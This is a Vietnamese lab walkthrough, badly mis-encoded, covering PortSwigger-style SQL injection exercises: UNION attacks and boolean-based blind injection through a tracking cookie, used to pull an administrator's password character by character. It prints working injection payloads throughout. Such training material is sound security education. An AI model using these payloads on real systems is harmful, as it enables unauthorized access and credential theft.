Nα»i dung lab: Trang web nΓ y chα»©a lα» hα»ng SQLi trong bα» lα»c danh mα»₯c sαΊ£n phαΊ©m. KαΊΏt quαΊ£ tα»« truy vαΊ₯n Δược trαΊ£ vα» trong phαΊ£n hα»i cα»§a α»©ng dα»₯ng, vΓ¬ vαΊy bαΊ‘n cΓ³ thα» sα» dα»₯ng tαΊ₯n cΓ΄ng UNION Δα» lαΊ₯y dα»― liα»u tα»« bαΊ£ng khΓ‘c. Δα» xΓ’y dα»±ng cuα»c tαΊ₯n cΓ΄ng nhΖ° vαΊy,bαΊ‘n cαΊ§n kαΊΏt hợp mα»t sα» kΔ© thuαΊt mΓ bαΊ‘n ΔΓ£ hα»c Δược trong cΓ‘c lab trΖ°α»c. CΖ‘ sα» dα»― liα»u chα»©a mα»t bαΊ£ng khΓ‘c gα»i lΓ users vα»i cΓ‘c cα»t lΓ username vΓ password. Δα» hoΓ n thΓ nh bΓ i lab nay, hΓ£y lαΊ₯y thΓ΄ng tin ΔΔng nhαΊp cα»§a administrator vΓ ΔΔng nhαΊp vΓ o hα» thα»ng.
Thα»±c hiα»n lab:
NhΖ° cΓ‘c bΓ i lab trΖ°α»c, ΔαΊ§u tiΓͺn chΓΊng ta cαΊ§n xΓ‘c Δα»nh Δiα»m xαΊ£y ra lα»i SQLi. TαΊ‘i tham sα» category, chΓΊng ta xΓ‘c Δα»nh Δược α» ΔΓ’y chα»©a lα»i nΓ y bαΊ±ng cΓ‘ch thΓͺm dαΊ₯u β. (lα»i Δược trαΊ£ vα»)
TiαΊΏp theo, ta cαΊ§n xΓ‘c Δα»nh sα» cα»t dα»― liα»u Δược trαΊ£ vα».
Payload: β ORDER BY 1-- , β ORDER BY 2--, β¦
Gα»i lαΊ§n lượt cΓ‘c payload trΓͺn ΔαΊΏn khi khΓ΄ng xuαΊ₯t hiα»n lα»i.

NhΖ° vαΊy ta xΓ‘c Δα»nh Δược cΓ³ 2 cα»t dα»― liα»u Δược trαΊ£ vα». Ta cαΊ§n xΓ‘c Δα»nh cα»t nΓ o chα»©a dα»― liα»u kiα»u chuα»i.
Payload: β
UNION SELECT βcot1β, NULL--, β UNION SELECT NULL,βcot2β--

NhΖ° vαΊy, ta xΓ‘c Δα»nh Δược cαΊ£ 2 cα»t Δα»u chα»©a dα»― liα»u kiα»u chuα»i.
TiαΊΏn hΓ nh truy xuαΊ₯t dα»― liα»u bαΊ£ng users,vα»i thΓ΄ng tin ngΖ°α»i dΓΉng cαΊ§n khai thΓ‘c lΓ administrator:
Payload: β UNION SELECT password, NULL FROM users WHERE username = βadministratorβ--

Retrieving multiple values within a single column
Trong bΓ i lab trΖ°α»c,giαΊ£ sα» rαΊ±ng truy vαΊ₯n chα» trαΊ£ vα» mα»t cα»t duy nhαΊ₯t. BαΊ‘n cΕ©ng cΓ³ thα» dα» dΓ ng truy xuαΊ₯t nhiα»u giΓ‘ trα» cΓΉng nhau trong mα»t cα»t bαΊ±ng cΓ‘ch nα»i cΓ‘c giΓ‘ trα» lαΊ‘i vα»i nhau, tα»t nhαΊ₯t lΓ bao gα»m mα»t dαΊ₯u tΓ‘ch phΓΉ hợp Δα» bαΊ‘n dα» dΓ ng nhαΊn biαΊΏt Δược cΓ‘c giΓ‘ trα» Δược kαΊΏt hợp.
VΓ dα»₯ Δα»i vα»i CSDL Oracle:
β UNION SELECT username || β~~β || password FROM user--
ToΓ‘n tα» || lΓ toΓ‘n tα» nα»i chuα»i trΓͺn Oracle. NhΖ° vαΊy kαΊΏt quαΊ£ truy vαΊ₯n sαΊ½ lΓ :
Username~~Password
LΖ°u Γ½: mα»i cΖ‘ sα» dα»― liα»u khΓ‘c nhau, cΓ³ cΓΊ phΓ‘p sα» dα»₯ng khΓ‘c nhau.
Thα»±c hΓ nh lab: (Level: Practitioner)
TΓͺn lab: SQL injection UNION attack, retrieving multiple values in a single column.
Nα»i dung lab: Trang web nΓ y chα»©a lα» hα»ng SQLi trong bα» lα»c danh mα»₯c sαΊ£n phαΊ©n. CSDL chα»©a mα»t bαΊ£ng users, vα»i cΓ‘c cα»t Δược gα»i lΓ username vΓ password. Truy xuαΊ₯t dα»― liα»u 2 cα»t ΔΓ³ ra khα»i mΓ n hΓ¬nh. Δα» hoΓ n thΓ nh lab,dΔng nhαΊp vα»i tΖ° cΓ‘ch ngΖ°α»i dΓΉng administrator.
Thα»±c hiα»n lab:
Bα» qua cΓ‘c bΖ°α»c xΓ‘c Δα»nh nΖ‘i xαΊ£y ra lα»i vΓ xΓ‘c Δα»nh sα» cα»t trαΊ£ vα» vΓ cα»t chα»©a thΓ΄ng tin kiα»u chuα»i (BαΊ‘n tα»± thα»±c hiα»n lαΊ‘i cΓ‘c bΖ°α»c nΓ y Δα» thΓͺm kinh nghiα»m.)
Truy xuαΊ₯t dα»― liα»u 2 cα»t username vΓ password: Payload:
β UNION SELECT NULL,username ||β~β||password FROM users--

Blind SQL injection
Trong thα»±c tαΊΏ, cΓ³ nhiα»u trΖ°α»ng hợp SQL injection lΓ blind, tα»©c lΓ α»©ng dα»₯ng khΓ΄ng trαΊ£ vα» kαΊΏt quαΊ£ cα»§a truy vαΊ₯n SQL hoαΊ·c chi tiαΊΏt vα» bαΊ₯t kΓ¬ lα»i cΖ‘ sα» dα»― liα»u nΓ o trong phαΊ£n hα»i cα»§a nΓ³. NhΖ°ng kiα»u lα» hα»ng nΓ y vαΊ«n cΓ³ thα» Δược khai thΓ‘c, nhΖ°ng kΔ© thuαΊt khai thΓ‘c thΖ°α»ng phα»©c tαΊ‘p hΖ‘n.
TΓΉy thuα»c vΓ o bαΊ£n chαΊ₯t cα»§a lα» hα»ng vΓ cΖ‘ sα» dα»― liα»u liΓͺn quan, mα»t sα» kΔ© thuαΊt sau ΔΓ’y cΓ³ thα» Δược sα» dα»₯ng Δα» khai thΓ‘c SQLi blind:
Thay Δα»i logic cα»§a truy vαΊ₯n Δα» kΓch hoαΊ‘t sα»± khΓ‘c biα»t cΓ³ thα» phΓ‘t hiα»n Δược trong phαΊ£n hα»i cα»§a α»©ng dα»₯ng tΓΉy thuα»c vΓ o Δα» chΓnh xΓ‘c cα»§a mα»t Δiα»u kiα»n. Δiα»u nΓ y cΓ³ thα» liΓͺn quan ΔαΊΏn viα»c ΔΖ°a mα»t Δiα»u kiα»n mα»i vΓ o logic Boolean nΓ o ΔΓ³ hoαΊ·c kΓch hoαΊ‘t mα»t cΓ‘ch cΓ³ Δiα»u kiα»n mα»t lα»i. (vΓ dα»₯ chia mα»t sα» cho 0)
KΓch hoαΊ‘t thα»i gian delay mα»t cΓ‘ch cΓ³ Δiα»u kiα»n trong quΓ‘ trΓ¬nh xα» lΓ½ truy vαΊ₯n, cho phΓ©p suy ra tΓnh ΔΓΊng ΔαΊ―n cα»§a Δiα»u kiα»n dα»±a trΓͺn thα»i gian mΓ α»©ng dα»₯ng cαΊ§n Δα» phαΊ£n hα»i.
KΓch hoαΊ‘t tΖ°Ζ‘ng tΓ‘c mαΊ‘ng ngoΓ i bΔng tαΊ§n, sα» dα»₯ng kα»Ή thuαΊt OAST.
Vα»i loαΊ‘i lα» hα»ng nΓ y, nhiα»u kα»Ή thuαΊt vΓ dα»₯ nhΖ° UNION attack khΓ΄ng hoαΊ‘t Δα»ng vΓ¬ chΓΊng dα»±a vΓ o viα»c cΓ³ thα» xem kαΊΏt quαΊ£ cα»§a truy vαΊ₯n Δược chΓ¨n trong cΓ‘c phαΊ£n hα»i cα»§a α»©ng dα»₯ng.
Exploiting blind SQL injection by triggering conditional responses
GiαΊ£ sα», mα»t α»©ng dα»₯ng sα» dα»₯ng cookie theo dΓ΅i Δα» thu thαΊp phΓ’n tΓch viα»c sα» dα»₯ng vα»i tiΓͺu Δα» nhΖ° sau:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
Khi mα»t yΓͺu cαΊ§u chα»© cookie TrackingId Δược xα» lΓ½, α»©ng dα»₯ng sαΊ½ xΓ‘c Δα»nh xem ΔΓ’y cΓ³ phαΊ£i lΓ ngΖ°α»i dΓΉng ΔΓ£ biαΊΏt hay khΓ΄ng bαΊ±ng mα»t truy vαΊ₯n nhΖ° sau:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
CΓ³ thα» ΔoΓ‘n rαΊ±ng, truy vαΊ₯n SQL nΓ y dα» bα» tαΊ₯n cΓ΄ng SQLi, nhΖ°ng kαΊΏt quαΊ£ tα»« truy vαΊ₯n khΓ΄ng trαΊ£ lαΊ‘i cho ngΖ°α»i dΓΉng. Tuy nhiΓͺn, α»©ng dα»₯ng sαΊ½ hoαΊ‘t Δα»ng khΓ‘c nhau tΓΉy thuα»c vΓ o viα»c truy vαΊ₯n cΓ³ trαΊ£ vα» bαΊ₯t kα»³ dα»― liα»u nΓ o hay khΓ΄ng. NαΊΏu nΓ³ trαΊ£ vα» dα»― liα»u (vΓ¬ ΔΓ£ Δược xΓ‘c thα»±c lΓ TrackingId lΓ ΔΓ£ gα»i), thΓ¬ sαΊ½ cΓ³ mα»t thΓ΄ng bΓ‘o ' Welcome back'.
ThΓ΄ng bΓ‘o nΓ y lΓ Δα»§ Δα» cΓ³ thα» khai thΓ‘c lα» hα»ng chΓ¨n SQLi blind vΓ truy xuαΊ₯t thΓ΄ng tin bαΊ±ng cΓ‘ch kΓch hoαΊ‘t cΓ‘c phαΊ£n hα»i khΓ‘c nhau theo Δiα»u kiα»n, tΓΉy thuα»c vΓ o Δiα»u kiα»n Δược chΓ¨n. GiαΊ£ sα» rαΊ±ng hai yΓͺu cαΊ§u lαΊ§n lượt Δược gα»©i cΓ³ chα»©a cookie TrackingId cΓ³ giΓ‘ trα» sau:
β¦xyz' AND '1'='1
β¦xyz' AND '1'='2
GiαΊ£i thΓch: GiΓ‘ trα» ΔαΊ§u tiΓͺn trong sα» nΓ y sαΊ½ kiαΊΏn truy vαΊ₯n trαΊ£ vα» kαΊΏt quαΊ£ vΓ¬ Δiα»u kiα»n AND '1' = '1 Δược ΔΖ°a vΓ o lΓ ΔΓΊng vΓ do ΔΓ³, thΓ΄ng bΓ‘o 'Welcome back' Δược hiα»n thα». Trong khi ΔΓ³, giΓ‘ trα» thα»© hai sαΊ½ khiαΊΏn truy vαΊ₯n khΓ΄ng trαΊ£ vα» bαΊ₯t kΓ¬ kαΊΏt quαΊ£ nΓ o vΓ¬ Δiα»u kiα»n Δược ΔΖ°a vΓ o lΓ sai vΓ do ΔΓ³, khΓ΄ng cΓ³ thΓ΄ng bΓ‘o Δược hiα»n thα». Δiα»u nΓ y cho phΓ©p xΓ‘c Δα»nh cΓ’u trαΊ£ lα»i cho bαΊ₯t kα»³ Δiα»u kiα»n Δược ΔΖ°a vΓ o nΓ o vΓ do ΔΓ³ trΓch xuαΊ₯t dα»― liα»u tα»«ng bit mα»t.
VΓ dα»₯: CΖ‘ sα» dα»― liα»u cΓ³ mα»t bαΊ£ng Users vα»i cΓ‘c cα»t Username vΓ Password, vΓ ngΖ°α»i dΓΉng Administrator. α» ΔΓ’y cΓ³ thα» xΓ‘c Δα»nh mαΊt khαΊ©u cho ngΖ°α»i dΓΉng nΓ y mα»t cΓ‘ch cΓ³ hα» thα»ng bαΊ±ng cΓ‘ch gα»i mα»t loαΊ‘t dα»― liα»u ΔαΊ§u vΓ o Δα» kiα»m tra mαΊt khαΊ©u tα»«ng kΓ½ tα»± mα»t.
Thα»±c hΓ nh lab: (Level Practitioner)
TΓͺn lab: Blind SQL injection with conditional responses
Nα»i dung lab: Trang web nΓ y chα»©a lα» hα»ng SQLi blind. Ứng dα»₯ng sα» dα»₯ng cookie theo dΓ΅i Δα» phΓ’n tΓch vΓ thα»±c hiα»n truy vαΊ₯n SQL cΓ³ chα»©a giΓ‘ trα» cookie ΔΓ£ gα»i. KαΊΏt quαΊ£ cα»§a truy vαΊ₯n SQL khΓ΄ng Δược trαΊ£ lαΊ‘i vΓ khΓ΄ng cΓ³ thΓ΄ng bΓ‘o lα»i nΓ o Δược hiα»n thα». Tuy nhiΓͺn, α»©ng dα»₯ng cΓ³ thΓ΄ng bΓ‘o Welcome back nαΊΏu truy vαΊ₯n trαΊ£ vα» bαΊ₯t kΓ¬ hΓ ng nΓ o. ΔΔng nhαΊp vα»i tΖ° cΓ‘ch administrator Δα» hoΓ n thΓ nh lab
Thα»±c hiα»n lab:
Sα» dα»₯ng Burp Suite Δα» chαΊ·n vΓ sα»a Δα»i yΓͺu cαΊ§u cΓ³ chα»©a cookie TrackingId= uJz4afswQu41nynF
Sα»a Δα»i cookie TrackingId thΓ nh: TrackingId= uJz4afswQu41nynF' AND '1'='1

Sα»a Δα»i cookie TrackingId thΓ nh: TrackingId= uJz4afswQu41nynF' AND '1'='2

Δiα»u nΓ y cho thαΊ₯y cΓ‘ch cΓ³ thα» kiα»m tra mα»t Δiα»u kiα»n boolean duy nhαΊ₯t vΓ suy ra kαΊΏt quαΊ£.
Sα»a Δα»i cookie thΓ nh:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users LIMIT 1)='a

NhΖ° vαΊy, Δiα»u nΓ y xΓ‘c minh Δiα»u kiα»n lΓ ΔΓΊng vΓ¬ cΓ³ thΓ΄ng bΓ‘o Welcome back xuαΊ₯t hiα»n. CΖ‘ sα» dα»― liα»u cΓ³ chα»©a bαΊ£ng users
TiαΊΏp ΔαΊΏn, xΓ‘c minh ngΖ°α»i dΓΉng administrator. Sα»a Δα»i cookie thΓ nh
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Δiα»u nΓ y xΓ‘c nhαΊn, cΓ³ tα»n tαΊ‘i ngΖ°α»i dΓΉng administrator.
XΓ‘c minh Δα» dΓ i cα»§a mαΊt khαΊ©u:
Sα»a Δα»i cookie thΓ nh:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Δiα»u nΓ y Δα» xΓ‘c minh mαΊt khαΊ©u cΓ³ Δα» dΓ i lα»n hΖ‘n 1 kΓ tα»±. Thay Δα»i kiα»m tra Δα» dΓ i mαΊt khαΊ©u cho ΔαΊΏn khi khΓ΄ng xuαΊ₯t hiα»n thΓ΄ng bΓ‘o Welcome back.
Δα» ΔΖ‘n giαΊ£n hΓ³a viα»c khai thΓ‘c, sα» dα»₯ng Burp Repeater. Sau khi xΓ‘c Δα»nh Δược Δα» dΓ i cα»§a mαΊt khαΊ©u lΓ 20 kΓ tα»±. vα»i payload:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a
Sau khi xΓ‘c Δα»nh Δược Δα» dΓ i cα»§a mαΊt khαΊ©u. BΓ’y giα» ta cαΊ§n xΓ‘c Δα»nh cΓ‘c kΓ tα»± cα»§a mαΊt khαΊ©u tα»«ng kΓ tα»± mα»t
TrackingId=uJz4afswQu41nynF' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
ΔαΊΏn ΔΓ’y sα» dα»₯ng Burp Intruder Δα» giαΊ£m thα»i gian thα»±c hiα»n. ( BαΊ‘n Δα»c tα»± tΓ¬m hiα»u cΓ‘ch sα» dα»₯ng)

NhΖ° vαΊy, kΓ tα»± ΔαΊ§u tiΓͺn cα»§a mαΊt khαΊ©u Δược xΓ‘c nhαΊn lΓ q.
Thay Δα»i payload Δα» xΓ‘c Δα»nh kΓ tα»± thα»© 2,3,4,5,6....20
TrackingId=uJz4afswQu41nynF' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
KΓ tα»± mΓ u Δα» trong payload lΓ trΖ°α»ng cαΊ§n thay Δα»i sau mα»i kΓ tα»± Δược tΓ¬m thαΊ₯y.
Password Δược tΓ¬m thαΊ₯y : qjcnav3pternr6apiacu ΔΔng nhαΊp Δα» hoΓ n thΓ nh lab:

Last updated